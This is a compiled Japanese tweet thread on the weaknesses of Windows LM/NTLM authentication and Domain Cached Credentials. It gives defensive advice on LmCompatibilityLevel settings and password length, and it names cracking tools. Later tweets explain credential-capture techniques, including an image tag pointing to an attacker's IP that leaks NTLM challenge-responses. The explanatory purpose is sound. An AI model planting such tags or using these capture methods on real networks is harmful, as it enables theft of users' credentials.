@kitagawa_takujiさんによるWindowsアカウントのパスワード解読に関するまとめ
1)前に何度も書いているが、Windowsアカウントについては、LAN内のLM/NTLM認証のチャレンジ/レスポンスを簡単に取得できる手法がいくつもあるので/etc/passwdにパスワードハッシュが格納されていて誰でも見れる状態と同じと考えたほうが良い
2013-09-07 17:03:372)LM/NTLM認証のチャレンジ/レスポンスは、ADやSAMに保存されるLMハッシュ、NTLMハッシュとは別物、John the RipperではNETLM, NETLMv2, NETNTLM, NETNTLMv2と呼ばれる
2013-09-07 17:03:543)特にLM認証は危険、LMには前半後半7文字ずつのチャンクへの分割、大小英字を区別しないという問題があるので14文字以下ならどんなに複雑なパスワードでも1日以内に解析可能
2013-09-07 17:04:084)Vista以降ではLmCompatibilityLevel「3:NTLMv2応答のみ送信」が既定になっているが、XPでは「0.LMとNTLM応答を送信」が既定。LMハッシュを保存しないようにしていてもLmCompatibilityLevelが0か1だとLM応答を送信してしまう
2013-09-07 17:04:275)但し、LmCompatibilityLevelが0か1でも15文字以上のパスワードにすればLM応答は送信されない(無効な値が送られる)
2013-09-07 17:04:446)よって、パスワードの定期変更よりもLmCompatibilityLevelの方が重要。XPでは規定値から2又は3に変更。Vista以降で、NTLMv2に対応していない古いNASとの互換性のために変更する場合も、決して0や1にしてはならない
2013-09-07 17:04:597)oclhashcat-plus http://t.co/9ATYGvbKUR などのGPUを使用したパスワード解析ツールもNetNTLMv2に対応してきているので、「NTLMv2応答のみ送信」の場合でも決して安心ではなく、十分に複雑なパスワードにする必要がある
2013-09-07 17:05:148)Webサービスの認証の場合、ストレッチ回数を増やすなどして計算量を増やすことができるが、LM/NTLM認証では計算量は固定で変更出来ない。しかも10数年前の設計で現在のようにGPUを使用したクラックなど考慮されていない
2013-09-07 17:05:299)「NTLMv2応答のみ送信」の場合、何文字以上なら安心かは難しいが、自分なら英数字記号混在で13文字以上、ハギーアタック(ショルダーハッキングとオフラインクラックの組み合わせ)を考慮すると15文字以上にするかな?
2013-09-07 17:05:4510)さすがに全ユーザにそこまでのポリシーを強要するのは難しいという場合、有効期限を設けて定期変更させるのも低減策の1つにはなると思う。もっともLAN上の人は全て信用出来るという前提があれば、そこまでは必要ないかもしれないが、既にLAN上のPCが乗っ取られている可能性もある
2013-09-07 17:06:0611)もう1つ加えると、DCC(Domain Cached Credentials)の問題、ドメイン下のWindowsではログオン時にドメイン・コントローラに接続出来ない場合でもログオン出来るように以前のログオン情報がローカルにキャッシュされている(既定で過去10ユーザを記録)
2013-09-07 17:06:2812)レジストリよりDCCを取り出すツールはcachedump、MetasploitのPostモジュール等色々あり、取り出したハッシュはJohn-the-Ripper、CainやGPU対応のoclhashcat-plus等で解析できる
2013-09-07 17:06:4813)DCCのアルゴリズムはNTLMハッシュを改良したもの。Vista以降では更にアルゴリズムが強化されているが解析ツールはどちらにも対応している。NTLMハッシュと同一ではないのでPass-the-Hashは出来ない
2013-09-07 17:07:0814)PCの初期セットアップ時の動作確認で情シス部員がドメイン管理者でログインしたり、システム管理者やヘルプデスクなどがリモートデスクトップでドメイン管理者でログインして作業するとDCCが記録される
2013-09-07 17:07:2415)DCCは既定で過去10ユーザが記録されるので(10回のログインではない)、数年前の管理者ログオンがキャッシュに残っている可能性がある。但し、PsExec、WMICなどのネットワークログオンではDCCは記録されないので、運用管理にはPsExec、WMICを使うのも一案
2013-09-07 17:07:3816)標的型攻撃などでWindows端末が乗っ取られると、DCCを取得してドメイン管理者のパスワードを解析するのは攻撃者の常套手段。DCCを記録しないように設定することもできるが、ドメイン障害時やノートPCをオフラインで使用する時にログオン出来なくなる
2013-09-07 17:07:5817)よって、ドメイン管理者などの管理者パスワードは、例えハッシュを取得されても簡単には解析されないよう。十分長く複雑なものにする必要がある
2013-09-07 17:08:1018)Windowsの認証関係は、このようにかなり脆弱な状態だが、過去との互換性の問題もありバッサリ切り捨てるわけにもいかないだろう。問題を認識しつつ、付き合っていくことが必要
2013-09-07 17:08:3519)昨日のWindowsアカウントのパスワード解析に関する話 http://t.co/T68cNbnUx6 の補足で、LAN内のLM/NTLM認証のチャレンジ/レスポンスを取得する方法について書いてみたい
2013-09-08 11:46:3220)Windowsではファイル共有などネットワーク上のリソースにアクセスする場合、自動的にログオンしているユーザでの認証要求を送出してしまう。認証はチャレンジ/レスポンス方式で行われ、その両方をキャプチャすることでパスワードの解析が出来る
2013-09-08 11:46:5121)自動送信された認証が失敗するとダイアログが出るので、ダイアログにID・パスワードを入力し送信した時に初めて認証要求が送出されると錯覚してしまいがちだが、最初にアクセスした段階で既に自動送出されてしまっているのである
2013-09-08 11:47:1822)よって、攻撃者が自分がコントロールできるPC上でファイル共有を作成し、「資料を公開しました」などの通知を行えば、後はアクセスしてきた認証要求のチャレンジ/レスポンスをキャプチャし、解析するだけ
2013-09-08 11:47:3923)また、社内Webなどに<img src=file://\\攻撃者のIP\image.gif>というタグを含んだページを作成したり、そのようなタグを埋め込んだWord文書などを作成し添付ファイルで送信したりすれば、認証要求が自動的に飛んでくる
2013-09-08 11:48:1524)ファイル共有だけでなく、NTLM認証を有効にしたWebサーバをイントラネットゾーンに立て、誘導すればブラウザが認証情報を自動送信する(IEの場合)
2013-09-08 11:48:3725)その他、NetBIOSの名前要求に対し攻撃者のIPにスプーフィングしたレスポンスを返す、ARP PoisoningによるLayer2でのキャプチャなど、様々な手法があり、それぞれの手法に対し様々なツールが提供されている
2013-09-08 11:48:57